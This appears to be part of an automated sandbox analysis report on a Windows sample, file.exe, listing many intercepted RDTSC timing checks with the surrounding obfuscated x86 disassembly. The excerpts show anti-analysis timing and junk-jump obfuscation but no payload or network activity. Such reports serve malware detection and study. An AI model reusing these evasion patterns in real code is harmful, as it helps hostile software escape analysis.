Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841CFE second address: 841D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841D02 second address: 841D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844D55 second address: 844D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E545h 0x00000009 pop edi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84488E second address: 844892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844892 second address: 8448BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F63E4B4E545h 0x0000000c jmp 00007F63E4B4E53Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8448BF second address: 8448EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F63E4787953h 0x0000000b jmp 00007F63E4787954h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8468D6 second address: 8468DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8468DA second address: 8468E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8468E0 second address: 8468EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0388 second address: 49A0403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F63E4787950h 0x00000010 push eax 0x00000011 jmp 00007F63E478794Bh 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov ebx, esi 0x0000001a mov edi, ecx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f jmp 00007F63E478794Ah 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 pushad 0x00000028 jmp 00007F63E478794Eh 0x0000002d mov ah, B2h 0x0000002f popad 0x00000030 mov ecx, dword ptr [ebp+08h] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F63E4787958h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A042E second address: 49A0433 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0433 second address: 49A0452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63E4787952h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05E6 second address: 49C05EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05EA second address: 49C05F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05F0 second address: 49C0666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 86h 0x00000005 pushfd 0x00000006 jmp 00007F63E4B4E53Fh 0x0000000b adc cl, FFFFFF8Eh 0x0000000e jmp 00007F63E4B4E549h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 mov bx, cx 0x0000001c pushfd 0x0000001d jmp 00007F63E4B4E548h 0x00000022 and esi, 41260138h 0x00000028 jmp 00007F63E4B4E53Bh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F63E4B4E53Bh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0666 second address: 49C066C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07E7 second address: 49C07ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07ED second address: 49C07F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C086E second address: 49C0872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0872 second address: 49C0885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0885 second address: 49C08CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F63E4B4E53Fh 0x00000008 pop ecx 0x00000009 mov al, dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e cmp dword ptr [ebp-04h], 00000000h 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 mov cx, bx 0x00000019 popad 0x0000001a mov esi, eax 0x0000001c jmp 00007F63E4B4E545h 0x00000021 je 00007F63E4B4E596h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C08CC second address: 49C08DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C092E second address: 49C0932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0932 second address: 49C0938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0938 second address: 49C096A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E546h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov si, F2CDh 0x0000000f jmp 00007F63E4B4E53Ah 0x00000014 popad 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C096A second address: 49C096E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C096E second address: 49C0974 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0974 second address: 49C0015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007F63E4787947h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007F63E8BB3C21h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F63E4787951h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0015 second address: 49C001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C001B second address: 49C001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C001F second address: 49C004C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E543h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F63E4B4E53Bh 0x00000014 mov ax, 835Fh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C004C second address: 49C0052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0052 second address: 49C0056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0056 second address: 49C005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C005A second address: 49C0087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F63E4B4E53Ah 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F63E4B4E547h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0087 second address: 49C008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C008D second address: 49C0091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0091 second address: 49C00BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F63E4787955h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00BB second address: 49C00E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F63E4B4E53Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00E1 second address: 49C00E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00E7 second address: 49C0101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 748D78CAh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F63E4B4E53Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0101 second address: 49C0106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0106 second address: 49C0121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 0121257Eh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F63E4B4E53Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0121 second address: 49C01AA instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F63E478794Eh 0x0000000c sbb cx, 47A8h 0x00000011 jmp 00007F63E478794Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push 53CD0389h 0x0000001d pushad 0x0000001e mov edx, 3677EAD8h 0x00000023 mov bx, DC84h 0x00000027 popad 0x00000028 xor dword ptr [esp], 266428F9h 0x0000002f jmp 00007F63E4787953h 0x00000034 mov eax, dword ptr fs:[00000000h] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F63E478794Bh 0x00000043 sbb ecx, 6A2F024Eh 0x00000049 jmp 00007F63E4787959h 0x0000004e popfd 0x0000004f mov edx, eax 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01AA second address: 49C02BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 560DBFAEh 0x00000008 mov ax, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F63E4B4E53Ch 0x00000016 xor eax, 0C4B59F8h 0x0000001c jmp 00007F63E4B4E53Bh 0x00000021 popfd 0x00000022 call 00007F63E4B4E548h 0x00000027 pushfd 0x00000028 jmp 00007F63E4B4E542h 0x0000002d xor eax, 10106388h 0x00000033 jmp 00007F63E4B4E53Bh 0x00000038 popfd 0x00000039 pop esi 0x0000003a popad 0x0000003b mov dword ptr [esp], eax 0x0000003e jmp 00007F63E4B4E53Fh 0x00000043 sub esp, 18h 0x00000046 jmp 00007F63E4B4E546h 0x0000004b xchg eax, ebx 0x0000004c jmp 00007F63E4B4E540h 0x00000051 push eax 0x00000052 jmp 00007F63E4B4E53Bh 0x00000057 xchg eax, ebx 0x00000058 jmp 00007F63E4B4E546h 0x0000005d xchg eax, esi 0x0000005e jmp 00007F63E4B4E540h 0x00000063 push eax 0x00000064 pushad 0x00000065 jmp 00007F63E4B4E541h 0x0000006a mov bh, cl 0x0000006c popad 0x0000006d xchg eax, esi 0x0000006e jmp 00007F63E4B4E543h 0x00000073 xchg eax, edi 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 mov cl, dh 0x00000079 mov bx, ax 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02BC second address: 49C03A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 5C9DD012h 0x00000010 movsx edx, si 0x00000013 popad 0x00000014 xchg eax, edi 0x00000015 jmp 00007F63E4787952h 0x0000001a mov eax, dword ptr [75AF4538h] 0x0000001f jmp 00007F63E4787950h 0x00000024 xor dword ptr [ebp-08h], eax 0x00000027 jmp 00007F63E4787950h 0x0000002c xor eax, ebp 0x0000002e jmp 00007F63E4787951h 0x00000033 nop 0x00000034 jmp 00007F63E478794Eh 0x00000039 push eax 0x0000003a jmp 00007F63E478794Bh 0x0000003f nop 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F63E4787954h 0x00000047 sub esi, 10962B48h 0x0000004d jmp 00007F63E478794Bh 0x00000052 popfd 0x00000053 call 00007F63E4787958h 0x00000058 pop edx 0x00000059 popad 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d pushad 0x0000005e mov bl, ch 0x00000060 mov edx, 6A5C984Ah 0x00000065 popad 0x00000066 mov dword ptr fs:[00000000h], eax 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f mov dx, 22F0h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03A9 second address: 49C0478 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F63E4B4E549h 0x00000008 adc cl, 00000076h 0x0000000b jmp 00007F63E4B4E541h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F63E4B4E53Eh 0x0000001a and ecx, 69655598h 0x00000020 jmp 00007F63E4B4E53Bh 0x00000025 popfd 0x00000026 movzx ecx, di 0x00000029 popad 0x0000002a popad 0x0000002b mov dword ptr [ebp-18h], esp 0x0000002e jmp 00007F63E4B4E53Bh 0x00000033 mov eax, dword ptr fs:[00000018h] 0x00000039 pushad 0x0000003a mov esi, 60A1CB5Bh 0x0000003f movzx esi, dx 0x00000042 popad 0x00000043 mov ecx, dword ptr [eax+00000FDCh] 0x00000049 jmp 00007F63E4B4E543h 0x0000004e test ecx, ecx 0x00000050 jmp 00007F63E4B4E546h 0x00000055 jns 00007F63E4B4E572h 0x0000005b jmp 00007F63E4B4E540h 0x00000060 add eax, ecx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F63E4B4E53Ah 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0478 second address: 49C047C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C047C second address: 49C0482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0482 second address: 49C050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F63E478794Eh 0x00000013 sbb esi, 3D3F7E48h 0x00000019 jmp 00007F63E478794Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F63E4787958h 0x00000025 adc eax, 7FF7C0A8h 0x0000002b jmp 00007F63E478794Bh 0x00000030 popfd 0x00000031 popad 0x00000032 test ecx, ecx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F63E4787954h 0x0000003b or al, 00000008h 0x0000003e jmp 00007F63E478794Bh 0x00000043 popfd 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B002C second address: 49B0074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c call 00007F63E4B4E53Ah 0x00000011 pop esi 0x00000012 pop edi 0x00000013 mov dl, ch 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F63E4B4E546h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0074 second address: 49B00A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F63E4787951h 0x00000008 pop ecx 0x00000009 mov ecx, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F63E4787956h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00A8 second address: 49B00BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B017E second address: 49B01B8 instructions: 0x00000000 rdtsc 0x00000002 call 00007F63E4787958h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F63E478794Bh 0x0000000f popad 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 call 00007F63E478794Bh 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01B8 second address: 49B0214 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx esi, bx 0x0000000c popad 0x0000000d inc ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F63E4B4E549h 0x00000015 and ecx, 4ACBC356h 0x0000001b jmp 00007F63E4B4E541h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 mov eax, 14469A1Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0214 second address: 49B0218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0218 second address: 49B0238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F63E4B4E545h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0238 second address: 49B023D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B023D second address: 49B0280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F63E4B4E720h 0x00000010 jmp 00007F63E4B4E544h 0x00000015 lea ecx, dword ptr [ebp-14h] 0x00000018 pushad 0x00000019 mov eax, 00B22BDDh 0x0000001e mov esi, 432AA8D9h 0x00000023 popad 0x00000024 mov dword ptr [ebp-14h], edi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F63E4B4E53Bh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B033C second address: 49B0344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0344 second address: 49B0396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F6455C3C674h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F63E4B4E548h 0x00000017 or ah, FFFFFFA8h 0x0000001a jmp 00007F63E4B4E53Bh 0x0000001f popfd 0x00000020 mov ch, 36h 0x00000022 popad 0x00000023 js 00007F63E4B4E5E7h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F63E4B4E53Eh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0396 second address: 49B03CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F63E4787956h 0x00000011 jne 00007F6455875A23h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov cx, 7103h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03CB second address: 49B044F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F63E4B4E548h 0x00000008 sbb cx, 16C8h 0x0000000d jmp 00007F63E4B4E53Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 call 00007F63E4B4E548h 0x0000001a pushfd 0x0000001b jmp 00007F63E4B4E542h 0x00000020 xor cx, 9C58h 0x00000025 jmp 00007F63E4B4E53Bh 0x0000002a popfd 0x0000002b pop eax 0x0000002c popad 0x0000002d mov ebx, dword ptr [ebp+08h] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F63E4B4E541h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B044F second address: 49B0453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0453 second address: 49B0459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0459 second address: 49B04B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007F63E4787950h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F63E4787950h 0x00000017 push eax 0x00000018 jmp 00007F63E478794Bh 0x0000001d xchg eax, esi 0x0000001e jmp 00007F63E4787956h 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 mov esi, ebx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04B9 second address: 49B04C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4B4E53Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04C8 second address: 49B04CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04CC second address: 49B053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx ecx, bx 0x0000000d pushfd 0x0000000e jmp 00007F63E4B4E547h 0x00000013 or eax, 08B8D54Eh 0x00000019 jmp 00007F63E4B4E549h 0x0000001e popfd 0x0000001f popad 0x00000020 nop 0x00000021 jmp 00007F63E4B4E53Eh 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F63E4B4E547h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B053B second address: 49B0553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4787954h 0x00000009 rdtsc
